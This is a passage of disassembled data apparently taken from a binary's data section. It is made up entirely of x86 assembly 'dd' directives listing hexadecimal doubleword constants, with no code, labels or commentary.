		dd 49E864Eh, 0DC4656h, 0CD92A621h, 168B6B25h, 0BD91E3Eh
		dd 0ECB0C4C8h, 74965639h, 37D1039Eh, 43804A00h,	0E316668Eh
		dd 0B908780Eh, 7CEE34h,	9B1E1164h, 3038C905h, 0DC917C17h
		dd 0E66A5E80h, 567FBC92h, 12944552h, 0F009D213h, 7180719Eh
		dd 2E01830h, 4D83A2CDh,	68604257h, 94B1E4C6h, 1220781Dh
		dd 8062FF38h, 3C4EBD2Ch, 10184362h, 0B4A84875h,	0F7340F4Bh
		dd 31A00EDAh, 85B17132h, 0AC206F60h, 0C5CA5EDFh, 0C56607A8h
		dd 9B48F406h, 0B8BF7640h, 0D95A6430h, 7880813Bh, 9D46248h
		dd 92B5D4E8h, 692476A8h, 19F59401h, 0B2D44129h,	7E0700F3h
		dd 13F8BAF4h, 201E1DAEh, 0F239E3C0h, 0EB442000h, 0CEFFE550h
		dd 2B7236h, 6D63826Bh, 2DA6943Dh, 7F244007h, 5A84B455h
		dd 74F5BC81h, 20ABCC74h, 6490D862h, 0C843135Bh,	0B1DDF9FFh
		dd 8ED98D19h, 0FE1FDC0h, 3BB28B0Fh, 348FBCE9h, 0F302DFA8h
		dd 0E42DB152h, 867824F0h, 0B4F241D8h, 9F29AFDFh, 0FC60110Ch
		dd 10E28560h, 2EC8A774h, 0E089D722h, 2C1627Bh, 4807B415h
		dd 7CE9BD71h, 588018F8h, 0AC24A044h, 0E4FB71C8h, 260E1444h
		dd 8003AD2Dh, 3DE2D36Fh, 104E02BAh, 229B1CC2h, 0F94A64C0h
		dd 38503440h, 1804DD63h, 0D02EC7ACh, 0B0C8BD50h, 8636D74h
		dd 81BC430h, 0CCD3BA20h, 0E1ABED67h, 0C0E64AF4h, 2FAC507Ch
		dd 0DC22DAD3h, 0F0B3356h, 60CE09D8h, 94B2F2BCh,	0B4C5806Ch
		dd 0C8DAC180h, 0CE2AE904h, 50BC86F7h, 7C52F804h, 24EC1Ah
		dd 0CE2BE792h, 0C5EEA2C7h, 0D1A3BE20h, 86C4E2A0h, 3617A4D1h
		dd 0BB4D0B30h, 84A02FA6h, 430D31B8h, 0FC792324h, 332A023Ch
		dd 0C086F8D3h, 0B8F59B44h, 63447801h, 9F8B4021h, 14E423E2h
		dd 5837A720h, 62C0A0BDh, 660F828Eh, 5B9AB502h, 614B7EE4h
		dd 0C421A404h, 5A3B467h, 0A0A99988h, 0B8A4FF0Fh, 826069A2h
		dd 517974E4h, 1920D9C4h, 3BF6C420h, 698A0585h, 96D0BE52h
		dd 2E7408F2h, 8A124026h, 8E7C1020h, 8BC4B625h, 70E0CBBAh
		dd 70A75F20h, 95602744h, 0B39ED41h, 0B3558909h,	0FBE81096h
		dd 0D4B79D40h, 9771803Bh, 1D6614E9h, 0F43A00B8h, 409B86A0h
		dd 7B26644Dh, 0CB4314DEh, 0C497C410h, 0DA20BAF0h, 1A380005h
		dd 910319CDh, 6D17A9BBh, 5C2CA49Fh, 209986C3h, 63183471h
		dd 0A486BE18h, 4DF4FC91h, 8508D007h, 0D4093853h, 0EBDC90B9h
		dd 7F36097Dh, 34D13403h, 9B26282Ch, 0B03B282Ch,	0B6D4D963h
		dd 0DB06408Eh, 0FC4174Ch, 12023A5h, 245EBAF5h, 0F264412Bh
		dd 8D25EAAAh, 592EB210h, 13D9CD0h, 7A4167F1h, 749AA429h
		dd 8FEFF6A4h, 0B3C8848h, 2E8C50D4h, 4628EF36h, 954A58E7h
		dd 4488E8CBh, 598F65C0h, 83C000C7h, 0F4199904h,	97973047h
		dd 80DF1154h, 6C654BC9h, 20575A39h, 0ED0EDFB8h,	3B2A8581h
		dd 3C311124h, 3C4231F8h, 0DD8A53E3h, 0E22BD0A4h, 368F07E0h
		dd 2F10F1C8h, 1F4D071h,	68540BCh, 60982456h, 0AC32DB60h
		dd 56BE3145h, 0FD4840E0h, 0D02B39Dh, 0F03CC526h, 88816082h
		dd 4FCD0094h, 0EEA6691Eh, 3098B622h, 0E9B4DB3Dh, 98870349h
		dd 0D4E4FF72h, 0E200CCB3h, 0A09104Ah, 3B573B1h,	0C4FFAE78h
		dd 0E11FF0D1h, 42D48180h, 38C3843Ah, 21837927h,	0BA44D2C0h
		dd 1334046Bh, 1FCAC0Bh,	3E108F56h, 0DF20CB16h, 0D46E2CB2h
		dd 0AC6344F4h, 8F06F800h, 0E2F06E4h, 81E1BEh, 714BE8E0h
		dd 7EE0B05Dh, 883A55B0h, 0B8C3F0h, 5ABE7561h, 0EAB2E76Ch
		dd 9D086A2Fh, 2463BBCh,	0A8278FAAh, 0EACC021h, 86E883F9h
		dd 1494480Ch, 1D25B69Dh, 802B9174h, 857A2722h, 40D00ACh
		dd 4959A6D7h, 3F152B10h, 4D8CDFCDh, 0DD085020h,	98AC5F3Fh
		dd 1F49D713h, 6BF8A8DBh, 0FC530091h, 0B9977ABh,	3100BFE7h
		dd 51A68E54h, 4BA04EBBh, 9A8C916Ch, 52C800F7h, 0A220FC5Ch
		dd 0D43810F0h, 9D3B197Ah, 0CA46E8FFh, 44C418E8h, 0F63FF210h
		dd 0A41D073Ch, 0ED4030BBh, 0E098D30Fh, 3CA9F20h, 611E57E2h
		dd 0EFE1CE44h, 42198505h, 6CAC704Dh, 0F590E500h, 8C75383h
		dd 52DC7D3Fh, 74818B0h,	69A0978h, 0CBE06C91h, 3134F02Bh
		dd 0B4818197h, 0B9A5C782h, 0B10138E6h, 434F609Fh, 31BCB1Ch
		dd 0B577768h, 4892E231h, 7931444h, 75F4218Bh, 0A15D9568h
		dd 0D5D42154h, 77E464CCh, 635C5515h, 0C2BD2688h, 4D18E518h
		dd 79E297Bh, 9FAB0348h,	6CB29763h, 73A8FE07h, 30DED010h
		dd 6F9F50A7h, 8729CF12h, 0F4E220C4h, 568890AAh,	0F56C249Eh
		dd 546A15ACh, 3B0F0048h, 0A05666BCh, 20B5720Ch,	0F416890h
		dd 98A0922Fh, 26AA3E6Ch, 0B42A8C40h, 685FA467h,	0A31EC23h
		dd 675C5009h, 0FDE6234h, 0DCB00870h, 75712461h,	8C2C7EEEh
		dd 0A233C307h, 30592661h, 68F8FA25h, 4BA47ABCh,	50C018DDh
		dd 8906A91h, 6CF49500h,	936F76BCh, 0C7AE1BF9h, 0C146690Bh
		dd 8CF52950h, 0C031893h, 0D037D09h, 32FE3A91h, 420C18A9h
		dd 6852D45Fh, 820E88Dh,	457F4154h, 1FC8F47Ch, 0CCDA49h
		dd 0FB7BB212h, 71D06Ch,	0CB3982C5h, 1028D25Dh, 1420735Ch
		dd 98CA4Dh, 5B121EEBh, 0C1B026Bh, 0E876FF30h, 0C471E468h
		dd 0BE8C68A0h, 61EE6Fh,	75488E9Bh, 0A01EF6F0h, 67F33Ch
		dd 3E24B547h, 15E7EE83h, 30BB20C0h, 4C23F752h, 0D17CC98h
		dd 90BC32C9h, 0B982E220h, 2008B0D9h, 309A5C24h,	10502D44h
		dd 920DFA4h, 0D1DD4AE8h, 0F4EF0A9Ch, 76605084h,	0AF32CD1Eh
		dd 73B930C0h, 2B53AE6h,	5D79E4DFh, 0D86A4FB1h, 465E9076h
		dd 0A6720021h, 599F0E35h, 0D81E302Eh, 1161A379h, 3D5F3C00h
		dd 10D10B2Fh, 0D45B0054h, 0FD22E11Bh, 6D095DD3h, 0D0A3A4EFh
		dd 4C48F02Ch, 80766C57h, 80166EBh, 0BC0F8A7h, 0D0C0A92Ah
		dd 2F93597h, 770480E9h,	562DBD6Fh, 40CC6230h, 82DA4AB4h
		dd 9F00D446h, 95EEE2B5h, 0B5F5D59h, 0D0724FDh, 307D0307h
		dd 84783AC0h, 4B00F0B1h, 42565E11h, 77A2F10h, 0DAA2ACA2h
		dd 897B70Eh, 81CE76A0h,	831325BFh, 18E6A011h, 84760B20h
		dd 407927BEh, 7618C560h, 56A801D1h, 6ABB720Ch, 0EF500035h
		dd 8C3C0C4Ch, 6989CCB8h, 0EC3A78C1h, 0B1808386h, 4428C6CFh
		dd 30C59F57h, 0D8E9131Eh, 0B6868701h, 41DAA6F4h, 654FED90h
		dd 37F44108h, 0B01890A9h, 7BF8EBC0h, 97B79D2Ch,	803211C4h
		dd 0AEA82DC6h, 4EBA1835h, 0DFB079FEh, 0EC0B364Ah, 35A080F8h
		dd 5C9804Dh, 3A2F3824h
		dd 50C4CC5Eh, 0B88F6D24h, 70E0F3C9h, 478B5A4h, 0FA539604h
		dd 0F083F8CDh, 4F099466h, 8300F472h, 13F20137h,	868C34h
		dd 0E2252CBCh, 4DEEB49Fh, 5F450A00h, 13114A08h,	3BFF00E8h
		dd 93C08617h, 1D01FA80h, 4D417284h, 0DC217DF8h,	58530C69h
		dd 0D7C0D094h, 9856ACB6h, 0FC4EE313h, 0C3F6E300h, 9F6650h
		dd 22951C15h, 0F5E0ABDBh, 0A4514705h, 4A63E43h,	86CFCA1h
		dd 10E14206h, 0EB9246Bh, 20881120h, 0C9671F9Ch,	7B0B094Ah
		dd 70002864h, 0C213F83Fh, 2E78331h, 0F9C9DD6h, 574228AEh
		dd 884A9829h, 0D6A3D601h, 0CB1194FBh, 0AFFC04h,	9894288Fh
		dd 968A3293h, 8D12270Fh, 8C39228Eh, 70C818Bh, 0E6C48F1Bh
		dd 54941C38h, 933F6028h, 279C8E2Ah, 8F8FCE3Fh, 808E8F38h
		dd 0E29A983Ch, 3F977CEBh, 99BB2E91h, 9D890074h,	9C903C27h
		dd 8775EB9Fh, 999528C0h, 2E8A379Bh, 6E39EE1h, 4034E548h
		dd 0DBF59400h, 8D2A9FBCh, 42271D95h, 0D1D9C08Ah, 0EB3B722Ch
		dd 2848DB14h, 8BF31804h, 0F8863880h, 0E91F01C5h, 0DB08DCB4h
		dd 791EC799h, 7133389Eh, 189DE797h, 0E08A27FDh,	83088E98h
		dd 2997938Fh, 2F958BE0h, 0B038D051h, 0E2BE8880h, 93860839h
		dd 0CB003598h, 3D9DD4EBh, 0E8F660D6h, 0F9B38E28h, 27A738C1h
		dd 409497EEh, 0E400A008h, 0F3BFEA30h, 4800FCEBh, 77312F23h
		dd 198A39F8h, 0E115FE8Dh, 0E44FD006h, 95B878C0h, 21B99634h
		dd 8C901FF2h, 9EE0F402h, 5D42F03Fh, 830E3C30h, 141F9371h
		dd 8323BCE4h, 96901BF4h, 6859C8E7h, 4490A820h, 84247951h
		dd 568754F6h, 59DBF0B4h, 0DE09086Ch, 54C09093h,	635D08E8h
		dd 0EFAC19A3h, 6BCC0491h, 0C8CFA444h, 5EB05256h, 382428C8h
		dd 45935269h, 3F4CA057h, 3C453E4Ah, 0CB8FA60h, 590B5E86h
		dd 60C408BAh, 8435240h,	5958B37Dh, 0D17217A4h, 0A85EF420h
		dd 5870D9DAh, 962A097Eh, 0E2126070h, 44D3CF7Dh,	69F904F3h
		dd 0A4309EB2h, 0C853C5D0h, 2C7C2888h, 60C404BAh, 3A434548h
		dd 595EBFDEh, 872AC82h,	0E235994h, 5A598F23h, 519C110Eh
		dd 10877AA8h, 0C18A98Ch, 0D5D8414Eh, 41D86559h,	6BF73E63h
		dd 7FFF421h, 0DDF88104h, 0F88215C7h, 5EBD2136h,	3EA47C2Ch
		dd 0E60F93B8h, 0B0565498h, 0F5D3401Ch, 28C3FFE2h, 0E86788C7h
		dd 4E805EBEh, 8E889174h, 0BF4052D7h, 42AAF520h,	7648802Fh
		dd 0C858BCFAh, 0D8A22A08h, 2466BD2Ah, 50F72D01h, 7282F336h
		dd 5C819857h, 60643BE2h, 0AE1E0744h, 6A4EBF6Dh,	0C728BCB0h
		dd 88850240h, 5204F5E3h, 448C0446h, 0F0428742h,	8893DC52h
		dd 7C1248D0h, 64F2DC72h, 48A19322h, 941864Ah, 0C891487Dh
		dd 40645A18h, 50195232h, 4288090Dh, 9C315A1Ch, 66084826h
		dd 5C28D1CAh, 43D5F20h,	91EE43EDh, 78A482A8h, 3BAA2090h
		dd 943C5248h, 41E83A9Ch, 10886BE1h, 0AE0250A4h,	0CDE21C2Bh
		dd 7410429Ch, 30886069h, 4C2DD799h, 2660E860h, 9C173AB8h
		dd 89E7E0E1h, 0AC342037h, 722A3A40h, 483F6598h,	8BAC4161h
		dd 903389E6h, 0CAFCBC28h, 2B0650A6h, 0C21E2D98h, 44570921h
		dd 0E460C4CCh, 0B65CA61h, 0FCB4B118h, 41426113h, 3CCA41EBh
		dd 44307064h, 827939D0h, 0DB51CEB2h, 0E938073Ch, 2AE73063h
		dd 0E100BB76h, 54F7357h, 52787BD1h, 0B058AC84h,	0A162253Eh
		dd 80444EBDh, 3E40B509h, 11D406A0h, 90685CE0h, 369E30Fh
		dd 78127643h, 0C4F71907h, 2094C87h, 10B04h, 0EFCA38B8h
		dd 22000AF8h, 182B28B6h, 1F2384AEh, 98F395D7h, 9EC909C7h
		dd 93BB8E1Fh, 8B3E6D41h, 0B9D2EC2Ah, 3430754Ch,	6F3A1423h
		dd 8788E024h, 48EBB3BAh, 40D9090h, 0F01E64D1h, 72804B03h
		dd 0EFAE2438h, 0E38240D4h, 38390531h, 7221E04Eh, 0B6CE5EEEh
		dd 0FBD60B0h, 63E870D7h, 0B08078F0h, 0DB0733C0h, 40C2E321h
		dd 8C40C0D4h, 9203D3B4h, 4492D8h, 37C4EC80h, 56B1454Ch
		dd 0C92491BFh, 0D622A838h, 42694D02h, 0E17B91A5h, 347C0685h
		dd 7FF54F80h, 5D0376C8h, 0D56E9945h, 4440A63Ch,	0D105FE06h
		dd 0AE837870h, 69D79046h, 29A64410h, 0DDBD762Eh, 8DF5E200h
		dd 5A28C6D3h, 7140D01Eh, 71EA9BBh, 74E4B4D4h, 0BCED888Ah
		dd 0E51AF580h, 0FFFF485Dh, 5C20232Fh, 743A63C0h, 27764900h
		dd 0F2C20DEDh, 669F047Fh, 82923CB2h, 0BC201F2Ch, 74839D88h
		dd 259B00ECh, 9EC17CA6h, 6497C957h, 0D5D4000Ch,	762DD188h
		dd 74745197h, 22B7DB27h, 0D43DB214h, 59601A50h,	701D882Fh
		dd 9588E611h, 726FF40Bh, 0F2888537h, 4AB0D432h,	60280AA8h
		dd 8EB45BC3h, 75649021h, 0C94B40Fh, 0F319B77Ch,	0D6B2CF16h
		dd 884A98E2h, 0C3000BDCh, 0F5B8316Fh, 264EBEC5h, 238CADF7h
		dd 0AFF1614h, 8301338h,	0E498BB4h, 0B23890A0h, 0F5E969E0h
		dd 0AE032A73h, 81503F9Ah, 71789974h, 60B15EE4h,	6E3B2932h
		dd 33EECDD8h, 209C170h,	11BA8678h, 6831E104h, 48DC280Bh
		dd 574206Eh, 0D4BDE81Ch, 0F12C05A0h, 0B88F274h,	457FF77h
		dd 37403168h, 0C9D8D3C0h, 8F1246E0h, 1C22B333h,	839E1862h
		dd 7921E909h, 3C6C4073h, 2E98A4C2h, 45F02A1Ah, 7A0C4464h
		dd 184C2234h, 7682D246h, 0E1604098h, 79FEDB6Bh,	0B1D58034h
		dd 8C8008F8h, 569BB0E0h, 452EDE03h, 90E18558h, 1286A6A2h
		dd 870389h, 10292AFCh, 412F3432h, 0D44608h, 4BFB2B2Dh
		dd 7264E7C1h, 82256707h, 89009A36h, 3EA76657h, 88DBAE24h
		dd 0D700ECA0h, 4533FC7Bh, 0E66C4DAFh, 5EC103A6h, 621EEB88h
		dd 4A912AD8h, 6809781Ch, 4C8E3040h, 4EBE928h, 0E923E16h
		dd 8058FCEAh, 2D9B6AECh, 76202425h, 1CBB00E0h, 4B883DF9h
		dd 0EA2A1913h, 5B0F2C20h, 78797D39h, 60D481C8h,	0B10C8453h
		dd 293C1337h, 0DD707Fh,	0B7A7E35Eh, 99DE777Dh, 22B4B94Ch
		dd 0EB9B0ED6h, 0A4209A46h, 8BB67903h, 59F11E35h, 0CA700980h
		dd 0A23A0174h, 0AD0799F2h, 89E1FCD2h, 19A4F04h,	3080F75Dh
		dd 3F20ECB8h, 0C42413E3h, 0FE6B0010h, 0CE117249h, 224EA900h
		dd 81D66DB9h, 2E5203F3h, 0BF408098h, 0AA97EF98h, 48618700h
		dd 23AC70F0h, 5D020376h, 0A8CFBC2h, 900862C0h, 7255410Ch
		dd 893847h, 27CD18Bh, 66C44E09h, 0C1CFAE02h, 54B06AACh
		dd 13980EDCh, 0C5B617E1h, 7C20801Bh, 0B1D8356h,	820A78Ah
		dd 6EC0B539h, 74DA0ACDh, 0B030CF90h, 9980BB6Bh,	11061861h
		dd 740898E3h, 1B5621h, 96B194BBh, 0A0332EC7h, 7324BD01h
		dd 84D88C40h, 23DC2987h, 717B10CEh, 3E00D126h, 879B3A13h
		dd 0F2BAC1B1h, 307C7E63h, 9030C8E8h, 0C300152Dh, 6603423Ah
		dd 0CC3B4A8Ch, 0A21DC08h, 5DC30D07h, 43A0DAE7h,	50D7EFC4h
		dd 4444AC3Fh, 51318BA6h, 22CD303Ch, 60E542E0h, 701C117Bh
		dd 0C50317D7h, 0FDD1AC55h, 50083045h, 0D7783621h, 5FD2CA00h
		dd 7C242DDEh, 0ECE9505Ah, 0B8B601CFh, 29E2DCBAh, 7F308604h
		dd 18F18887h, 49784D8Bh, 0D7090CF2h, 80BED921h,	73F8E7EEh
		dd 5B71EFCh, 75F90690h,	0A8003896h, 82BAEC1Ah, 31680616h
		dd 8558921Ch, 844B0876h, 1BA2F500h, 98896ACCh, 5560225h
		dd 27A27E9h, 5480327h, 5EB4A495h, 0FBEE009Ch, 7439D27Eh
		dd 0D0463E00h, 76264FB9h, 5D1B00A8h, 58FE982Ch,	0CB74BC0Fh
		dd 83BD7E18h, 0C0DAE981h, 340CE249h, 0DC268B2Fh, 3F223Bh
		dd 6B7F53F0h, 199BA157h, 399ECFD8h, 73F04290h, 3AC31330h
		dd 22464238h, 660858D5h
		dd 556E7100h, 4BE277C0h, 0D4B7C1C0h, 3E259D76h,	800B844h
		dd 7E97466Dh, 363A1733h, 716A8482h, 648964C5h, 300B6C42h
		dd 6A11BB10h, 7F881909h, 0BBC2579Eh, 80078A12h,	0C38E4CC2h
		dd 0C891FFBAh, 0A2128F74h, 310B423Fh, 0AB017D2h, 0E308EC3h
		dd 81170DCCh, 3BEF123Ch, 0F542348h, 0F8025A6h, 0E18F7FFBh
		dd 65F26F00h, 0A58940F6h, 0F4CE5204h, 0F1326077h, 36CA7D20h
		dd 6BD1E800h, 75BC65F0h, 838B3B48h, 4E1CFD80h, 8DC5FA4Ah
		dd 3E0AC07Eh, 0DC7DC30Ch, 11637544h, 234236F0h,	0ED0448Ch
		dd 0C30939h, 0C0DAB2B0h, 31927F61h, 5421DDEAh, 4BA8FC37h
		dd 0A6E28700h, 0D73DE311h, 15040396h, 7FCC4EAh,	22A2B900h
		dd 72FEC550h, 8CC1096Ah, 90817D73h, 60BFB246h, 0D3A17C17h
		dd 0C8F44F92h, 0C04AC57Dh, 9DDFFDD6h, 977F3C07h, 0A44AE5C8h
		dd 0ACF1D380h, 1E76350Eh, 0C77565h, 5055BE30h, 4560E531h
		dd 3A346929h, 0B1C70035h, 0A7C0E139h, 8F1DEB12h, 0AF433E56h
		dd 96E24226h, 0D4991C31h, 0A7007DE0h, 0BA434B8Dh, 0C30E1C3Bh
		dd 86DDAC6Dh, 1A91982h,	13CBF8Bh, 0F1C585DAh, 17198721h
		dd 50CCF748h, 4A6F607Ah, 0C0E9C8BBh, 2268B8A8h,	0B32F5C00h
		dd 0B7CB4E5Bh, 0E581CA6h, 9004BEFCh, 4002A41Ah,	15883962h
		dd 314506B9h, 84D8178h,	41213667h, 0A1488810h, 42820712h
		dd 316E33C3h, 80C6EAC1h, 7011A571h, 1EFA6F81h, 85060DE7h
		dd 81CDC8DDh, 10314270h, 7983457Eh, 74654D16h, 40292806h
		dd 19105018h, 421C78C7h, 7E13F8h, 9DF6BDE8h, 92041DF3h
		dd 386A8BF4h, 0AFB8F8C1h, 0CDC5C10h, 20187329h,	32F47AC2h
		dd 9AD8FC01h, 43C820FBh, 11D7FC8Ch, 884DC514h, 77378348h
		dd 0B03C67D7h, 3C07246Fh, 6EBB14C0h, 22794609h,	1C530075h
		dd 9B3D89BBh, 2B3F4371h, 0AE9383A3h, 0EEDABD40h, 41288229h
		dd 118333B8h, 0CA8B74DCh, 13DA6680h, 0ADC3FB01h, 9C34F840h
		dd 7F0EE985h, 4AC1FD2h,	0C609BB47h, 45F04062h, 308A801h
		dd 5D06B8B0h, 0A48888EEh, 199C7C0Bh, 0DC127E9Ch, 0C9F41440h
		dd 0A1210860h, 7AF91EAh, 0C56FD4CEh, 0BE8A4053h, 42017231h
		dd 8646042Dh, 38706C78h, 0A57A1DC3h, 1940ECFh, 0D1086100h
		dd 0A81F4C87h, 0BBCA7B0Ah, 2820441Eh, 84C36A0Ch, 0CD73105h
		dd 0A1A4C846h, 998B980h, 42E04067h, 48B68C3h, 120ECF18h
		dd 0F98F017Fh, 7300ACF8h, 4019568h, 0E9F4D591h,	9448B72Ch
		dd 0C307FFB4h, 32C2B88Ch, 0F846BCC8h, 26574A1Bh, 6402E170h
		dd 0D97CE000h, 0AB4D84Dh, 9479E4E9h, 7D386506h,	38DE4E8h
		dd 59AFF6A2h, 0C0000743h, 0CD6DBBE9h, 64AA65D4h, 2799297Fh
		dd 57440434h, 71A5446Ch, 0E080B548h, 0C333DE4Ch, 0C63D009Bh
		dd 0EB06AEEFh, 660088CAh, 40E92A8Bh, 4F34ACh, 0F517718Ch
		dd 14781CEEh, 575BD102h, 61912EB5h, 4CCD8CDh, 0D08212A0h
		dd 8E231C19h, 0E038758h, 0C693CD47h, 312280A8h,	0E2B65F00h
		dd 5C0BFE53h, 5503006Dh, 58C11A64h, 41ECDF76h, 2830E530h
		dd 144D06F1h, 0F3EE2B6Bh, 5281701h, 0E8CEC421h,	62003044h
		dd 9D60CA13h, 5D365Eh, 750D472h, 0B14EE308h, 0A0240100h
		dd 9BE9FA6Eh, 31873EAEh, 0F4491800h, 0C9015709h, 9FD7B500h
		dd 0F09778EEh, 0D6E83Ch, 0AB29AC1Fh, 85636867h,	6E3BB21Fh
		dd 0A6A27E40h, 0F920E27Dh, 22616D0h, 0F91BF13Fh, 14680656h
		dd 0A600A9F8h, 83A0DEC6h, 0E8B3DE9h, 0F5068EAEh, 0C766407Dh
		dd 0D16C50ECh, 42EF2800h, 0A5CA175Eh, 178007Eh,	0F571F82h
		dd 45F403EEh, 0F88E1C00h, 7E5D25F5h, 833C0054h,	0D04B18E4h
		dd 67007830h, 7A698081h, 0A00F6040h, 0E09BF0A8h, 0BD7529h
		dd 0DB50CD02h, 0AF44F1DEh, 98EB0A00h, 4C1AED23h, 744DFE5Bh
		dd 0A85200D2h, 0A24E0394h, 8C04252Ch, 8DB0F457h, 671064D0h
		dd 0FF2E02FBh, 79F77437h, 62BCD881h, 0AAF9C42Ah, 501FF0A8h
		dd 0A4471900h, 677733BDh, 0B4E4A8B7h, 49031DBCh, 8B992899h
		dd 0FCE7E0F4h, 0A47B005Eh, 95556F08h, 8AF212D1h, 6BB4D302h
		dd 60823D4Eh, 0ADE01Bh,	64997624h, 107FF52Bh, 5A14B00h
		dd 30DE1569h, 8D4A00CEh, 0FBC89A62h, 806D8CFh, 85806552h
		dd 393338B0h, 74170B80h, 465C43ADh, 3501D7E4h, 4CBEA07Ch
		dd 75DCA598h, 0AC230088h, 0EAE50BB5h, 0D1E206A8h, 2CC84900h
		dd 50132F64h, 6BFB005Dh, 601F3540h, 7B00FD46h, 4EDD4522h
		dd 7C0A9631h, 6F7CC09Dh, 9E09F897h, 0F00F80BAh,	608C08C5h
		dd 76F5DFF4h, 0D3C000EFh, 33E0899Fh, 8200A33Eh,	79433C11h
		dd 19963D0h, 0F0FE2118h, 3023E63Bh, 0C700B01Eh,	4C090A35h
		dd 0AD82FAh, 0A16D8FA9h, 2FA4809Ch, 0DE8C1415h,	280D00C0h
		dd 5B0CE0BEh, 0C7E300CCh, 0E6413E9h, 0EF007456h, 0B649E1C2h
		dd 1D502EF5h, 0C052D632h, 60779958h, 8A00012Bh,	0FCD3E11Bh
		dd 60A39A3h, 8E10D197h,	51002054h, 5ED8F2FAh, 0F00382h
		dd 7D621F76h, 21AEB21Ah, 0D298D906h, 0E0582641h, 0E034005Ch
		dd 5D5BC44Dh, 48022C32h, 3D4B77ACh, 0E02A43F5h,	2C761B24h
		dd 6097AFh, 4FB23745h, 0E100FFA7h, 0FA128472h, 6CAF07h
		dd 4E8F27DAh, 0E488C924h, 0EAD56001h, 0CC334252h, 96F8130h
		dd 7582112Bh, 0CEBC6880h, 804C0598h, 57A7005Ch,	0AECF1681h
		dd 0F4A200F3h, 2B761A9Ah, 0A5037EE4h, 910BDB3Eh, 0C13FF031h
		dd 3B30ED1Ch, 658B0034h, 0D8F3046Bh, 500BEACh, 4D6E4AD5h
		dd 2FF2058h, 0C727593Dh, 0F05853ADh, 33779402h,	804CFBBBh
		dd 0B9AE24CCh, 710B01E7h, 9EC2E4F2h, 46E42056h,	45F33700h
		dd 76B73859h, 3150321h,	8430A21Eh, 4997CD8h, 6FD1A701h
		dd 7A3740B0h, 1AA434h, 0D8BA903Fh, 0D314681Fh, 0DA269D04h
		dd 80C0E0BBh, 9AC21Dh, 2132DC25h, 13FFF04Ch, 795450C0h
		dd 9A02B0Ah, 86FA1E8h, 17730483h, 649C00FCh, 0C0AF9613h
		dd 0B031D68h, 0E30294CBh, 92D6D39Dh, 0FA70E025h, 0D7C6011Bh
		dd 0F56CC869h, 5AC0D64Ah, 7B7B0DB9h, 5BF83701h,	9F754FF0h
		dd 4D75BC28h, 0E018007h, 62B402F1h, 3CD130CAh, 0FEF72A00h
		dd 0F899349Eh, 0C57003D4h, 235242DAh, 1FB560F8h, 92011B04h
		dd 60C04765h, 5055889Eh, 257F089h, 0E0388EA7h, 88486AF0h
		dd 0B0033C29h, 40B4F85h, 991290B7h, 0BB270024h,	76E3F0EEh
		dd 6F002C9Eh, 1B7D3FB4h, 8D5834h, 0EAF91317h, 0C66D7F1Dh
		dd 0EC004FFEh, 31AD9429h, 48E2CD4Ch, 363D7C58h,	0E960F387h
		dd 0F0CD0F1h, 8900B33Dh, 9C51066h, 71D67DE4h, 0EFB809BBh
		dd 0A4005C3Fh, 9D8A052Ch, 2D0F6B00h, 0DCB317C9h, 820438CDh
		dd 0BE58D381h, 0E47D1250h, 0A73F9F60h, 89FA5043h, 20D06D00h
		dd 91B4B98Dh, 0DF810317h, 0AF398CE8h, 0E0AC44F8h, 90F0FC01h
		dd 7BF82CF7h, 0E0EAC3FDh, 0D9AE51h, 10276A67h, 2A41D439h
		dd 0C50ED000h, 0ADBA3DB3h, 0D949007Ah, 0EB74A8E9h, 8C00E3C0h
		dd 30CB59FFh, 0A34A6Dh,	31441BFEh, 0EBBF7723h, 0D2613800h
		dd 0B2FA3419h, 39D98C5h, 3D658427h, 6BC81C2Ch, 0B073A410h
		dd 612D87Dh, 44C0E40Ah,	0D7AC3Eh, 0B6B12C25h, 0DE49C308h
		dd 6FE46D00h, 0D874D7Eh, 0BD570E98h, 5B255DC9h,	7BC3807Ch
		dd 3F002159h, 3DC7BC18h, 0FD1E83Ch, 0C682EAACh,	0FB1667C1h
		dd 0B0686484h, 0C2AFDB01h, 347F15ECh, 1E1C1470h, 93BA1653h
		dd 36FF0046h, 11DF6F81h, 7854C100h, 2185155Eh, 44B0CEh
		dd 5C97270Ah, 0BA1ED447h
		dd 96B0C400h, 0C726A546h, 4F4A08h, 7527E880h, 5524BDBFh
		dd 7B09104Ah, 47E427F0h, 0E81C4C52h, 99CFB88h, 87D2CF32h
		dd 0DDA1DC40h, 35C6549h, 536C0982h, 47F9008h, 9AF33C58h
		dd 0B7178A80h, 0BBF9CA1Eh, 962CC0FFh, 0DA6941C0h, 289167h
		dd 0BCA9258Ah, 8873C9E6h, 0EB6D707h, 3EB006A3h,	701B706Dh
		dd 0DA20021h, 0FD92D095h, 0CF00E183h, 3A7F729Eh, 7C097146h
		dd 8DC031EAh, 69E21161h, 3DF70128h, 1DC519ACh, 26F281D2h
		dd 10418C12h, 1C40DEFDh, 33183913h, 7508096Eh, 0C4FDEEA0h
		dd 0E61710A0h, 0A5877803h, 0E7B91031h, 295A0B40h, 569A0B36h
		dd 46008A3Fh, 1644E811h, 0D13C800h, 0E02DB289h,	0C0E36442h
		dd 0A937C0D0h, 801EA2F4h, 2A478115h, 4290473Ch,	37686A8Eh
		dd 80A0DBB2h, 0D111661Bh, 0B0061830h, 176A7Ch, 95B978E9h
		dd 8841FF31h, 6668F400h, 5BB4838h, 180100DBh, 7891176Fh
		dd 2000B4D9h, 1E40CEB1h, 0D58EA8h, 187A8773h, 921D0DBFh
		dd 0BAB9C807h, 6889E2C2h, 5DBB90h, 62031831h, 0AC4DC339h
		dd 0F7092574h, 29B48B12h, 4B19008Ch, 37977FCFh,	0F31848CAh
		dd 49014951h, 0C4844C73h, 0C18C34FFh, 4348EF83h, 50040F8h
		dd 638AAF36h, 5790ACAh,	8B712E18h, 1EB81D44h, 4E80BB64h
		dd 0F4D4CEBEh, 8CFD8A5h, 0F69BC0AFh, 4EEF0245h,	42C512Dh
		dd 5754A5B8h, 6F4BD9F4h, 70688402h, 0E2908008h,	0D51B71h
		dd 3D1F24F4h, 0A0D97626h, 0FE69ACA8h, 65290664h, 12435D21h
		dd 0B9A52074h, 4A26079Ch, 6900C5B8h, 120F9753h,	6FB7004Dh
		dd 4E461732h, 0A269F30h, 0B5803894h, 69FF0CF2h,	0EC650096h
		dd 0D1517A73h, 0AE2E0184h, 0D300B48Ch, 899C94F9h, 392A09A5h
		dd 0E2890E05h, 3E4C082h, 0EB8E37E0h, 58DCD500h,	0BCCF1BFh
		dd 0AEC0A85h, 848479B8h, 9062DDCAh, 9D4F8BECh, 7400CCE4h
